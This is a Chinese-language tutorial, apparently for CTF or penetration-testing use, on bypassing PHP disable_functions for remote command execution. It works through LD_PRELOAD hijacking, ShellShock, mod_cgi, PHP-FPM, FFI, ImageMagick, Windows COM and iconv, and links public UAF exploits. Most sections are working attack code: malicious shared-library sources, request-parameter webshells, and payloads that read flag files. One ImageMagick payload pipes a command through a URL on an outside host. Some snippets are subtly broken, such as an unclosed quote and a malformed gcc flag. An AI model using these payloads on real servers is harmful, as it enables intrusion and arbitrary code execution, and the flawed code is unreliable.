一、前言
当disable_function把命令执行函数禁用掉了之后,我们该如何破局呢?
除了寻找寻找未禁用的漏网函数,还可以通过下面的方式进行RCE的利用。
二、LD_PRELOAD
原理
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库;其中.so文件为linux中的动态链接库文件。
以mail()为例,执行PHP中的mail()函数时,该函数会启用Linux系统中的/usr/sbin/sendmail服务作为子进程,而sendmail服务又会调用getuid()这一个系统函数。
如果我们用putenv()设置环境变量LD_PRELOAD,让LD_PRELOAD在mail()函数执行并启用sendmail子进程时优先加载我们的hack.so文件(其内容是我们恶意构造的getuid()函数),此时sendmail服务会认为该函数getuid()方法是系统中的函数并执行我们的payload
也就是说,我们是通过LD_PRELOAD加载hack.so文件达到劫持系统函数getuid()执行命令的,这是Linux的系统命令,不在disable_function的限制中
条件
PHP启用了putenv()
至少能使用其中一个:mail()、error_log()、imap_mail()
系统未禁用LD_PRELOAD
有权限写入文件
系统装有且未禁用sendmail服务
示例
编写文件hack.c
cpp
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
system("whoami");
}
int getuid()
{
if(getenv("LD_PRELOAD)==NULL)
{
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
将hack.c文件编译为hack.so文件
cpp
gcc -c fPIC hack.c -o hack && gcc --share hack -o hack.so
编写文件mail.php
php
<?php
putenv("LD_PRELOAD=/tmp/hack.so");
mail('','','','');
?>
访问x.x.x.x/mail.php
执行命令whoami
延伸
mail被禁用:
可以用error_log()、imap_mail()替代
系统未装有sendmail:
可以使用__attribute__ ((constructor))
方式:
编写文件hack.c的内容
cpp
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("whoami");
}
其原理是:
在c语言中,构造函数__attribute__ ((constructor))会在main()函数先一步执行
所以在我们执行mail()函数后,无论系统中有没有sendmail服务,mail()也会建立进程;
而在检测sendmail服务之前,系统就已经通过LD_PRELOAD预先加载好了共享对象,执行whoami命令。
三、ShellShock (CVE-2014-6271)
原理
Bash 在处理特定格式的环境变量时,会执行变量值中恶意拼接的函数体之后的命令
在Bash中,我们可以通过这种方式定义函数并调用:
bash
export myfunc='() { echo hello; }'
bash -c 'myfunc'
但是在某些老旧系统中,会出现这种情况:
bash
export myfunc='() { :; }; echo HACKED'
//输出
HACKED
用;可以使定义函数后面的打印语句执行,对于环境变量的效果也相同,所以我们可以利用这种方式进行劫持:
bash
putenv('HACKME=() { :; }; /bin/bash -c "id > /tmp/hacked.txt"');
mail('[email protected]', 'subj', 'msg');
-
你设置了一个"伪函数"的环境变量
-
mail()
会调用sendmail
-
sendmail
如果内部用 Bash(大概率会) -
那 Bash 就会自动执行你环境变量里的
/bin/bash -c "id"
,你就绕过了PHP的限制,执行了命令
条件
PHP启用了putenv()
至少能使用其中一个:mail()、error_log()、imap_mail()
Shell默认是Bash
/bin/bash存在CVE-2014-6271漏洞
示例
bash
<?php
function runcmd($c){
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
$tmp=tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (function_exists('error_log')) {
error_log("a", 1);
}else{
mail("[email protected]", "", "", "-bv");
}
}else{
print("Not vuln (not bash)\n");
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output!=""){
print($output);
}else{
print("No output, or not vuln.");
}
}else{
print("不满足使用条件");
}
}
// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>
四、Apache Mod CGI
原理
CGI简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言、linux shell、perl、vb等等都可以进行CGI编程
所以使用linux shell脚本编写的cgi程序便可以执行系统命令
Mod_CGI指服务器处理的代码文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端
通过这个特性再加上.htaccess的文件后缀映射,就能够实现系统命令执行
条件
目录有写权限
Apache使用Apache_mod_php
Web目录给了AllowOverride权限
启用了mod_cgi
示例
新建.htaccess文件:
bash
Options +ExecCGI
AddHandler cgi-script .abc
新建shell.abc文件:
bash
#!/bin/bash
echo&whoami
将两者上传至Apache服务器,最后访问shell.abc即可
五、PHP-FPM
原理
php-fpm是一个fast-cgi协议解析器,负责按照fast-cgi的协议将TCP流解析成真正的数据
php
www.example.com/index.php
|
|
nginx
|
|
加载nginx的fast-cgi模块
|
|
fast-cgi对根据fast-cgi协议对请求包进行封装,然后将封装好的包发给php-fpm
|
|
php-fpm据fast-cgi协议将TCP流解析成真正的数据,调用php文件
|
|
php-fpm处理完请求,返回给nginx
|
|
nginx将结果通过http返回给浏览器
中间件不能直接解析动态php代码文件,其会将数据流封装好交给php-fpm解析
php-fpm未授权访问"通常指的是 PHP-FPM(FastCGI Process Manager)接口未加保护,对外暴露,从而被攻击者利用来执行任意 PHP 代码。这种情况可能导致严重的安全风险,例如远程代码执行(RCE)
利用PHP-FPM的未授权访问,提前加载.so文件,执行.so文件中的系统命令,新生成一个PHP进程:
php
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
该进程不加载php.ini文件,绕过disable_function
条件
Linux操作系统
PHP-FPM
存在可写目录,需要上传.so文件
示例
略
六、Json Serializer UAF/GC UAF/Backtrace UAF
Json Serializer UAF
写入PHP脚本文件,访问文件位置,POST传参执行命令
利用json序列化中的堆栈溢出触发,借以绕过disable_function,影响范围(PHP版本):
7.1 - all versions to date
7.2 < 7.2.19
7.3 < 7.3.6
脚本:
https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php
GC UAF
写入PHP脚本文件,访问文件位置,POST传参执行命令
利用PHP垃圾收集器中堆溢出来绕过disable_functions并执行系统命令,影响范围(PHP版本):
7.0 - 7.3
脚本:
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
Backtrace UAF
写入PHP脚本文件,访问文件位置,POST传参执行命令
影响范围(PHP版本):
7.0 - 7.4
脚本:
https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
七、PHP7.4 FFI扩展
原理
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术
PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术
FFI的使用只需声明和调用两步
因为是调用c语言的函数进行命令执行,所以不受PHP disable_function的限制
条件
PHP version > 7.4
开启了FFI拓展:ffi.enable=true
Linux操作系统
示例
上传PHP文件:
php
<?php
$ffi = FFI::cdef("int system(const char *command);");#申明ffi,调用system函数
$ffi->system("tac /flag > /tmp/111");#执行readflag中的命令读取flag
echo file_get_contents("/tmp/111");
@unlink("/tmp/111");#删除111文件
访问文件,其中利用c语言的system函数执行系统命令
八、ImageMagick(CVE-2016-3714)
原理
ImageMagick:图片处理程序
php
push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context
在第三行填充图片时,正常只读取图片位置链接
但是我们用 | 符号并在后面填写命令,| 后面的系统命令也会被执行
条件
目标服务器安装了漏洞版本的imagemagic(<=3.3.0)
安装了php-imagick扩展,并且在php.ini中启用
PHP version >= 5.4
九、Windows COM组件
原理
COM component(COM组件)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术,以WIN32动态链接库(DLL)或可执行文件(EXE)形式发布的可执行代码组成。
加载这个组件后,上传能执行系统命令的利用脚本(可以通过已有的webshell上传,也可以像上传shell一样直接上传)
php
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); // 调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
条件
Windows系统
PHP开启COM服务
有写入文件权限
十、iconv
原理
字符集转换漏洞
php
<?php
putenv("GCONV_PATH=gconv-modules文件目录");
iconv("自定义字符集名", "UTF-8", "whatever");
条件
PHP安装了iconv相关模块
有写入文件权限
示例
上传gconv-modules文件到/tmp目录下
php
module HACK
module INTERNAL HACK
编写hack.c文件并用gcc编译成hack.so文件,将hack.so文件也上传到/tmp目录下
cpp
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
system("cat /flag > /tmp/flag");
}
在/var/www/html下面上传flag.php文件,访问文件获得flag
cpp
<?php
putenv("GCONV_PATH=/tmp/");
iconv("hack", "UTF-8", "whatever");